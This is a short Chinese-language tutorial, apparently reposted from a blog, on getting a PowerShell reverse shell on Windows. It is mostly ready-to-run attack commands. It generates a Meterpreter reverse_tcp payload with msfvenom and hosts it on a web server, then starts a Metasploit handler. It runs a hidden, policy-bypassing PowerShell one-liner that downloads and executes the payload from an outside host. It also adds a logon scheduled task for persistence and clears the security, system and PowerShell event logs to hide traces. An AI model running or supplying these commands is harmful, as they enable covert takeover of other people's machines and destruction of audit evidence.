PowerShell 反彈滲透技巧


Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能,並且與現有的WSH保持向后兼容,因此它的腳本程序不僅能訪問.NET CLR,也能使用現有的COM技術,同時也包含了數種系統管理工具、簡易且一致的語法,提升管理者的管理能力,自Windows 7 開始一直到Windows 10 包括服務器Windows Server 系統中,都將內置 PowerShell,其可作為白名單的一種繞過方式,也讓滲透變得更加有趣。

PowerShell 基本反彈

  1. 生成PowerShell 腳本文件 shell.ps1 並將其放入到Web服務器目錄下。
[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f psh-cmd > shell.ps1

[root@localhost ~]# cp -a shell.ps1 /var/www/html/
[root@localhost ~]# systemctl restart httpd

2.MSF運行偵聽事件,執行如下命令。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z

3.在靶機執行以下命令,即可完成上線。

C://> powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://lyshark.com/shell.ps1');shell.ps1"
C://> powershell.exe wget "http://lyshark.com/shell.exe" -outfile "C:\shell.exe"

C://> schtasks /create /tn "PowerShell" /tr "這里存放待執行任務" /sc ONLOGON       創建計划任務

4.為防止暴露痕跡,在執行完命令后,需要在靶機執行以下命令,清理痕跡.

Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有權利。

C:\Users\lyshark>wevtutil cl "windows powershell"
C:\Users\lyshark>wevtutil cl "security"
C:\Users\lyshark>wevtutil cl "system"


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM